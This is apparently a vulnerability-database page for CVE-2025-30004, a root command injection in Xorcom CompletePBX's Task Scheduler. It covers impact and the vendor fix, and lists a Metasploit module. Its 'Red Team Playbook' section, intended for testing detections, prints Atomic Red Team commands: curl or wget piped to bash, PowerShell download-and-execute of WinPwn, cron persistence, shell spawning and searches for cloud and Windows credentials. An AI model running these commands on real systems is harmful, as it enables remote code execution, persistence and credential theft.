CVE-2025-30004
Overview
The vulnerability in Xorcom CompletePBX is a command injection flaw rooted in improper input validation within the administrator Task Scheduler functionality. This flaw allows crafted input to be executed as system-level commands due to insufficient sanitization of user-supplied parameters. The affected component is the Task Scheduler interface present in all CompletePBX versions up to 5.2.35.
Vulnerability Description
Xorcom CompletePBX is vulnerable to command injection in the administrator Task Scheduler functionality, allowing for attackers to execute arbitrary commands as the root user. This issue affects CompletePBX: all versions up to and prior to 5.2.35
Impact
An attacker with authenticated access to the administrator Task Scheduler can execute arbitrary commands as the root user, enabling full system compromise. This requires low privilege authentication (PR:L) but no user interaction (UI:N) and is exploitable remotely over the network (AV:N). The attacker can manipulate system processes, access sensitive data, disrupt services, or pivot within the network, resulting in severe operational and data security impacts as indicated by the CVSS vector (C:H/I:H/A:H).
Solution
Xorcom has addressed this vulnerability in CompletePBX version 5.2.36 and later, as detailed in their official advisory at https://www.xorcom.com/new-completepbx-release-5-2-36-1/. Administrators should upgrade affected systems to version 5.2.36 or newer to remediate the issue. The vendor advisory provides comprehensive patch instructions and no additional workarounds are specified.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Task Scheduler functionality of Xorcom CompletePBX represents a significant security risk due to its potential for command injection. This flaw allows an authenticated attacker to manipulate input fields in the Task Scheduler to execute arbitrary commands with root privileges. The underlying issue stems from insufficient input validation, which fails to sanitize user input adequately. By exploiting this vulnerability, an attacker can gain elevated privileges, leading to unauthorized access to sensitive system resources and data. The impact of this flaw is exacerbated by the fact that it affects all versions of CompletePBX prior to 5.2.35, leaving a substantial number of installations vulnerable.
Attack vectors for this vulnerability are primarily through the administrative interface of the CompletePBX system. An attacker with administrative access can craft malicious commands that are executed by the system. For instance, an attacker could schedule a task that downloads and executes a malicious payload from an external server. This could be done by manipulating the command parameters in the Task Scheduler, allowing for a seamless execution of arbitrary code. Additionally, if an attacker were to gain access to the system through other means, such as phishing or exploiting another vulnerability, they could leverage this command injection flaw to escalate their privileges and take full control of the system.
The real-world impact of this vulnerability is profound, particularly for organizations that rely on CompletePBX for their telephony needs. Successful exploitation could lead to data breaches, where sensitive information such as call logs, recordings, and user credentials are exposed. Furthermore, attackers could use the compromised system to launch further attacks within the organization's network, potentially leading to a full-scale compromise. The business risks associated with such an incident include financial losses, reputational damage, and legal ramifications, particularly if personal data is involved. Organizations could face regulatory fines and loss of customer trust, which can have long-lasting effects on their operations.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the CompletePBX system to the latest version is crucial, as it addresses known vulnerabilities and enhances overall security posture. Additionally, organizations should conduct regular security assessments, including vulnerability scanning and penetration testing, to identify and remediate potential weaknesses in their systems. Implementing strict access controls and monitoring administrative activities can also help detect suspicious behavior early. Furthermore, employing web application firewalls (WAF) can provide an additional layer of protection by filtering out malicious requests before they reach the application.
In conclusion, the command injection vulnerability in the Task Scheduler of Xorcom CompletePBX poses a serious threat to organizations using this telephony solution. The ability for attackers to execute arbitrary commands as the root user can lead to severe consequences, including data breaches and unauthorized access to sensitive information. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves to detect and mitigate this vulnerability. Proactive measures, including timely updates and robust security practices, are essential to safeguarding against such threats and ensuring the integrity of their systems.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Xorcom | Completepbx | All |
cpe:2.3:a:xorcom:completepbx:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
Xorcom CompletePBX Authenticated Command Injection via Task Scheduler
exploits/linux/http/xorcom_completepbx_scheduler
|
Valentin Lobstein | Unknown | - | View |
Threat Feed
1 eventsPublic exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
58%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-30004 |
| vulncheck.com |
GitHub CVE
third-party-advisory
|
https://vulncheck.com/advisories/completepbx-authenticated-command-injection |
| xorcom.com |
GitHub CVE
vendor-advisory
|
https://www.xorcom.com/new-completepbx-release-5-2-36-1/ |